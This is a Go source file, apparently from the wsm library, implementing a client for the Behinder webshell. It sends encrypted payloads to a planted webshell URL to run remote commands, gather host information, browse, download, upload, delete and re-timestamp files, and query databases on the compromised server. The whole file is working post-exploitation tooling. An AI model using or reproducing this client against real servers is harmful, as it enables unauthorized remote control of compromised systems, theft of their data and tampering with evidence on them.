-
Notifications
You must be signed in to change notification settings - Fork 13
/
behinder.go
297 lines (282 loc) · 7.65 KB
/
behinder.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
package wsm
import (
"encoding/base64"
"errors"
"fmt"
"github.com/xiecat/wsm/lib/dynamic"
"github.com/xiecat/wsm/lib/httpx"
"github.com/xiecat/wsm/lib/shell"
"github.com/xiecat/wsm/lib/shell/behinder"
"github.com/xiecat/wsm/lib/utils"
"io/ioutil"
)
type BehinderInfo struct {
BaseShell
secretKey []byte
encryptMode int
// response 开头的干扰字符
prefixLen int
// response 结尾的干扰字符
suffixLen int
}
func NewBehinder(b *BehinderInfo) (*BehinderInfo, error) {
err := b.Verify()
if err != nil {
return nil, err
}
b.secretKey = utils.SecretKey(b.Password)
if b.Headers == nil {
b.Headers = make(map[string]string, 2)
}
b.Headers = b.setHeaders()
b.Client = httpx.NewClient(b.Proxy, b.Headers, b.Script, "")
return b, nil
}
func (b *BehinderInfo) setHeaders() map[string]string {
h := b.Headers
switch b.Script {
case shell.JavaScript:
h["Content-type"] = "application/x-www-form-urlencoded"
case shell.CsharpScript:
// 也可以不加
h["Content-type"] = "application/octet-stream"
case shell.PhpScript:
h["Content-type"] = "application/x-www-form-urlencoded"
case shell.AspScript:
h["Content-type"] = "application/x-www-form-urlencoded"
default:
panic("shell script type error [jsp/jspx/asp/aspx/php]")
}
return h
}
func (b *BehinderInfo) setParams(i interface{}, p shell.IParams) (map[string]string, error) {
var params map[string]string
var err error
if p == nil {
switch i.(type) {
case *behinder.PingParams:
err = i.(*behinder.PingParams).SetDefaultAndCheckValue()
if err != nil {
return nil, err
}
case *behinder.BasicInfoParams:
err = i.(*behinder.BasicInfoParams).SetDefaultAndCheckValue()
if err != nil {
return nil, err
}
default:
return nil, errors.New(fmt.Sprintf("%v is undefined", i))
}
params, err = utils.ToMapParams(i)
if err != nil {
return nil, err
}
} else {
err = p.SetDefaultAndCheckValue()
if err != nil {
return nil, err
}
params, err = utils.ToMapParams(p)
if err != nil {
return nil, err
}
}
return params, nil
}
// processParams 只有 java 的 payload 需要这两个参数
func (b *BehinderInfo) processParams(p map[string]string) {
if b.Script != shell.JavaScript && b.Script != shell.JspxScript {
delete(p, "forcePrint")
delete(p, "notEncrypt")
}
}
func (b *BehinderInfo) sendPayload(params map[string]string, className string) (shell.IResult, error) {
data, err := behinder.GetPayload(b.secretKey, className, params, b.Script, b.encryptMode)
if err != nil {
return nil, err
}
resp, err := b.Client.DoHttpRequest(b.Url, data)
if err != nil {
return nil, err
}
resData, err := behinder.Decrypto(resp.RawBody, b.secretKey, b.Script, params["notEncrypt"], b.encryptMode, b.prefixLen, b.suffixLen)
if err != nil {
return nil, err
}
result := newBResult(resData)
err = result.Parser()
if err != nil {
return nil, err
}
return result, nil
}
func (b *BehinderInfo) Ping(p ...shell.IParams) (bool, error) {
var pp shell.IParams
if len(p) == 0 {
pp = nil
} else {
pp = p[0]
}
params, err := b.setParams(&behinder.PingParams{}, pp)
if err != nil {
return false, err
}
b.processParams(params)
data, err := behinder.GetPayload(b.secretKey, "EchoGo", params, b.Script, b.encryptMode)
if err != nil {
return false, err
}
resp, err := b.Client.DoHttpRequest(b.Url, data)
if err != nil {
return false, err
}
content := params["content"]
wantResultTxt := fmt.Sprintf(`{"msg":"%s","status":"c3VjY2Vzcw=="}`, base64.StdEncoding.EncodeToString([]byte(content)))
wantResultTxt2 := fmt.Sprintf(`{"status":"c3VjY2Vzcw==","msg":"%s"}`, base64.StdEncoding.EncodeToString([]byte(content)))
//var enWantResult []byte
var enWantResult, enWantResult2 []byte
if params["notEncrypt"] == "true" {
enWantResult = []byte(wantResultTxt)
enWantResult2 = []byte(wantResultTxt2)
} else {
enWantResult, err = behinder.Encrypto([]byte(wantResultTxt), b.secretKey, b.encryptMode, b.Script)
if err != nil {
return false, err
}
enWantResult2, err = behinder.Encrypto([]byte(wantResultTxt2), b.secretKey, b.encryptMode, b.Script)
if err != nil {
return false, err
}
}
rawBody := resp.RawBody
b.prefixLen, b.suffixLen, err = dynamic.GetPrefixLenAndSuffixLen(rawBody, enWantResult, enWantResult2)
if err != nil {
return false, err
}
resData, err := behinder.Decrypto(rawBody, b.secretKey, b.Script, params["notEncrypt"], b.encryptMode, b.prefixLen, b.suffixLen)
if err != nil {
return false, err
}
result := newBResult(resData)
err = result.Parser()
if err != nil {
return false, err
}
msg := result.ToMap()["msg"]
if msg == content {
return true, nil
} else {
return false, errors.New(msg)
}
}
// BasicInfo 不传参数就使用默认参数值
func (b *BehinderInfo) BasicInfo(p ...shell.IParams) (shell.IResult, error) {
var pp shell.IParams
if len(p) == 0 {
pp = nil
} else {
pp = p[0]
}
params, err := b.setParams(&behinder.BasicInfoParams{}, pp)
if err != nil {
return nil, err
}
b.processParams(params)
return b.sendPayload(params, "BasicInfoGo")
}
func (b *BehinderInfo) CommandExec(p shell.IParams) (shell.IResult, error) {
params, err := utils.ToMapParams(p.(*behinder.ExecParams))
if err != nil {
return nil, err
}
b.processParams(params)
return b.sendPayload(params, "CmdGo")
}
func (b *BehinderInfo) setFileManagementParams(p shell.IParams) (map[string]string, error) {
err := p.SetDefaultAndCheckValue()
if err != nil {
return nil, err
}
params, err := utils.ToMapParams(p)
if err != nil {
return nil, err
}
switch p.(type) {
case *behinder.ListFiles:
params["mode"] = "list"
case *behinder.ShowFile:
params["mode"] = "show"
case *behinder.DeleteFile:
params["mode"] = "delete"
case *behinder.UploadFile:
params["mode"] = "create"
case *behinder.AppendFile:
params["mode"] = "append"
case *behinder.DownloadFile:
params["mode"] = "download"
case *behinder.RenameFile:
params["mode"] = "rename"
case *behinder.CreateFile:
params["mode"] = "createFile"
case *behinder.CreateDirectory:
params["mode"] = "createDirectory"
case *behinder.GetTimeStamp:
params["mode"] = "getTimeStamp"
case *behinder.UpdateTimeStamp:
params["mode"] = "updateTimeStamp"
default:
return nil, errors.New(fmt.Sprintf("%v is undefined", p))
}
return params, nil
}
func (b *BehinderInfo) FileManagement(p shell.IParams) (shell.IResult, error) {
params, err := b.setFileManagementParams(p)
if err != nil {
return nil, err
}
b.processParams(params)
data, err := behinder.GetPayload(b.secretKey, "FileOperationGo", params, b.Script, b.encryptMode)
if err != nil {
return nil, err
}
if _, ok := p.(*behinder.DownloadFile); ok {
resp, err := b.Client.DoHttpRequest(b.Url, data)
if err != nil {
return nil, err
}
localPath := p.(*behinder.DownloadFile).Path
err = ioutil.WriteFile(localPath, resp.RawBody, 0644)
if err != nil {
return nil, err
}
result := newBResult([]byte(params["path"] + ",下载完成"))
err = result.Parser()
if err != nil {
return nil, err
}
return result, nil
}
resp, err := b.Client.DoHttpRequest(b.Url, data)
if err != nil {
return nil, err
}
resData, err := behinder.Decrypto(resp.RawBody, b.secretKey, b.Script, params["notEncrypt"], b.encryptMode, b.prefixLen, b.suffixLen)
if err != nil {
return nil, err
}
result := newBResult(resData)
err = result.Parser()
if err != nil {
return nil, err
}
return result, nil
}
// DatabaseManagement 需要配合 JarLoad 插件加载数据库驱动
func (b *BehinderInfo) DatabaseManagement(p shell.IParams) (shell.IResult, error) {
params, err := utils.ToMapParams(p.(*behinder.DBManagerParams))
if err != nil {
return nil, err
}
b.processParams(params)
return b.sendPayload(params, "DatabaseGo")
}